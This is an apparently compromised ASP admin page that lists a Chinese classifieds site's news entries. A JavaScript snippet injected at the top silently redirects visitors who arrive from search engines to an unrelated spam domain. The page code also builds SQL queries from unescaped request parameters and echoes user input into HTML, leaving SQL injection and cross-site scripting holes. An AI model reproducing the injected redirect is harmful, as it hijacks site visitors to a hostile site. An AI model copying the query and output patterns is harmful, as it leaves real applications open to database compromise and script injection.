d:\wwwroot\wuchunhua\admin\list_news.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_admin")="" then
003:
response.Redirect "login.asp"
004:
end if
005:
006:
dim sql,rs
007:
keyword=replace(trim(request.form("keyword")),"'","")
008:
dtype=request("type")
009:
if keyword <>"" then
010:
sql="select * from news_data where ( title like '%" & keyword & "%' or text like '%" & keyword & "%' ) and stop >= date() order by adid desc"
011:
else
012:
if dtype<>"" then
013:
sql="select * from news_data where type='"&dtype&"' and stop >= date() order by adid desc"
014:
else
015:
sql="select * from news_data where stop >= date() order by adid desc"
016:
end if
017:
end if
018:
set rs=server.createobject("adodb.recordset")
019:
rs.open sql,conn,1,1
%
>
020:
<html>
021:
<head>
022:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
023:
<title>现有信息列表</title>
024:
<link rel="stylesheet" type="text/css" href="style.css">
025:
</head>
026:
027:
<body>
028:
<SCRIPT language=javascript>
029:
function CheckAll(form)
030:
{
031:
for (var i=0;i<form.elements.length;i++)
032:
{
033:
var e = form.elements[i];
034:
if (e.Name != "chkAll")
035:
e.checked = form.chkAll.checked;
036:
}
037:
}
038:
function Checked()
039:
{
040:
var j = 0
041:
for(i=0;i < document.form.elements.length;i++){
042:
if(document.form.elements[i].name == "adid"){
043:
if(document.form.elements[i].checked){
044:
j++;
045:
}
046:
}
047:
}
048:
return j;
049:
}
050:
051:
function DelAll()
052:
{
053:
if(Checked() <= 0){
054:
alert("您至少选择1条信息!");
055:
}
056:
else{
057:
if(confirm("确定要删除选择的信息吗?\n此操作不可以恢复!")){
058:
form.action="del_news.asp?del=data";
059:
form.submit();
060:
}
061:
}
062:
}
063:
064:
</SCRIPT>
065:
<FORM name=form method=post>
066:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
067:
<tr>
068:
<td height="20" bgcolor="#799AE1" align="center">
069:
<table width="98%" border="0" cellspacing="0" cellpadding="0">
070:
<tr>
071:
<td width="55">
072:
<select size="1" name="item" onChange="location=this.options[this.selectedIndex].value">
073:
<option value="?">全部</option>
074:
<%
set rs_lei = server.createobject("adodb.recordset")
075:
sql = "select * from news_type"
076:
rs_lei.open sql,conn,1,1
077:
do while not rs_lei.eof
%
>
078:
<option value="?type=
<%
=rs_lei("name")
%
>"
<%
if rs_lei("name")=dtype then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
079:
<%
rs_lei.movenext
080:
loop
081:
rs_lei.close
082:
set rs_lei = nothing
%
>
083:
</select></td>
084:
<td align="center"><font color="#FFFFFF" style="font-size:14px">全
085:
部 新 闻 信 息</font></td>
086:
<td width="35"><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></td>
087:
</tr>
088:
</table></td>
089:
</tr>
090:
<tr>
091:
<td bgcolor="#FFFFFF"> <br>
092:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="#D6DFF7">
093:
<tr bgcolor="#FFFFFF">
094:
<td width="30" align="center">编号</td>
095:
<td align="center">信息标题</td>
096:
<td align="center" width="60">城市</td>
097:
<td align="center">信息类别</td>
098:
<td align="center">发布日期</td>
099:
<td align="center">截止日期</td>
100:
<td align="center">IP</td>
101:
<td align="center">管理操作</td>
102:
<td width="30" align="center">
103:
<input id=chkAll
104:
onClick=CheckAll(this.form) type=checkbox
105:
value=checkbox name=chkAll>
106:
</td>
107:
</tr>
108:
<%
if rs.eof or rs.bof then
109:
response.write"<tr bgcolor=#FFFFFF><td colspan='9'><p align='center'><font color='red'>暂无信息!</font></td></tr></table><br>"
110:
response.end
111:
else
112:
const maxperpage=20
113:
dim currentpage
114:
rs.pagesize=maxperpage
115:
currentpage=request.querystring("pageid")
116:
if isnumeric(currentpage)=false then
117:
response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
118:
response.end
119:
end if
120:
if currentpage="" then
121:
currentpage=1
122:
elseif currentpage<1 then
123:
currentpage=1
124:
else
125:
currentpage=clng(currentpage)
126:
if currentpage > rs.pagecount then
127:
currentpage=rs.pagecount
128:
end if
129:
end if
130:
131:
dim totalput,n
132:
totalput=rs.recordcount
133:
if totalput mod maxperpage=0 then
134:
n=totalput\maxperpage
135:
else
136:
n=totalput\maxperpage+1
137:
end if
138:
if n=0 then
139:
n=1
140:
end if
141:
rs.move(currentpage-1)*maxperpage
142:
i=0
143:
do while i< maxperpage and not rs.eof
%
>
144:
<tr bgcolor="#FFFFFF">
145:
<td align="center">
<%
=rs("adid")
%
></td>
146:
<td> <a href="../html/news/
<%
=rs("adid")
%
>.htm" target="_blank">
<%
=rs("title")
%
></a>
147:
<%
If rs("ispic")="yes" Then
%
>
148:
<font color="#FF0000">图</font>
149:
<%
End If
%
>
150:
</td>
151:
<td align="center"><a title=
<%
=rs("city_one")
%
>/
<%
=rs("city_two")
%
>/
<%
=rs("city_three")
%
> href="#">
<%
=rs("city_one")
%
></a></td>
152:
<td align="center"><a title=
<%
=rs("type")
%
> href="#">
<%
=rs("type")
%
></a></td>
153:
<td align="center">
<%
=rs("date")
%
></td>
154:
<td align="center">
<%
=rs("stop")
%
></td>
155:
<td align="center">
156:
<%
If rs("ip")<>"" Then
%
>
157:
<a href="../ip.asp?ip=
<%
=rs("ip")
%
>" target="_blank">查</a>
158:
<%
Else
%
>
159:
无
160:
<%
End If
%
>
161:
</td>
162:
<td align="center"><a href="editad_news.asp?id=
<%
=rs("adid")
%
>"><font color="green">修改</font></a></td>
163:
<td align="center">
164:
<input type="checkbox" name="adid" value="
<%
=rs("adid")
%
>" onClick=Checked(form)>
165:
</td>
166:
</tr>
167:
<%
i=i+1
168:
rs.movenext
169:
loop
170:
rs.close
171:
set rs=nothing
172:
conn.close
173:
set conn=nothing
174:
end if
%
>
175:
</table>
176:
<br>
177:
</td>
178:
</tr>
179:
</table></FORM>
180:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#799AE1">
181:
<tr>
182:
<td height="20" bgcolor="#FFFFFF"><p align="center">页数:
<%
=currentpage
%
>/
<%
=n
%
>
183:
<%
k=currentpage
184:
if k<>1 then
%
>
185:
<a href="?pageid=1&type=
<%
=request("type")
%
>">首页</a>
186:
<a href="?pageid=
<%
=k-1
%
>"&type=
<%
=request("type")
%
>>上一页</a>
<%
else
%
>
187:
首页 上一页
188:
<%
end if
%
>
189:
<%
if k<>n then
%
>
190:
<a href="?pageid=
<%
=k+1
%
>&type=
<%
=request("type")
%
>">下一页</a>
191:
<a href="?pageid=
<%
=n
%
>&type=
<%
=request("type")
%
>">尾页</a>
192:
<%
else
%
>
193:
下一页 尾页
194:
<%
end if
%
>
195:
共有
<%
=totalput
%
> 条信息 </td>
196:
<form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
197:
<input maxLength="20" name="keyword" onfocus="this.value=''" size="18" value="
<%
=keyword
%
>">
198:
<input type="submit" value="搜索" style="font-size: 12px" name="search"></td>
199:
</form>
200:
</tr>
201:
</table>
202:
</body>
203:
</html>
204:
205:
206: